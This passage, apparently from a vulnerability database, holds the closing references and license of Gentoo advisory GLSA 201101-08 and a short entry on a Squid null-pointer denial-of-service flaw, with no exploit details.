[ 18 ] CVE-2010-3632
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3632
[ 19 ] CVE-2010-3654
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3654
[ 20 ] CVE-2010-3656
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3656
[ 21 ] CVE-2010-3657
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3657
[ 22 ] CVE-2010-3658
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3658
[ 23 ] CVE-2010-4091
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4091
Availability
============
This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:
http://security.gentoo.org/glsa/glsa-201101-08.xml
Concerns?
=========
Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.
License
=======
Copyright 2011 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).
The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.
http://creativecommons.org/licenses/by-sa/2.5
| VAR-201009-0314 | No CVE | Squid String Handling Null Pointer Application Denial of Service Vulnerability |
CVSS V2: - CVSS V3: - Severity: - |
Squid is a powerful proxy server and web cache server. Some internal squid string handlers do not properly check for null pointers. Sending a specially constructed request can result in a null pointer reference, causing the server to crash.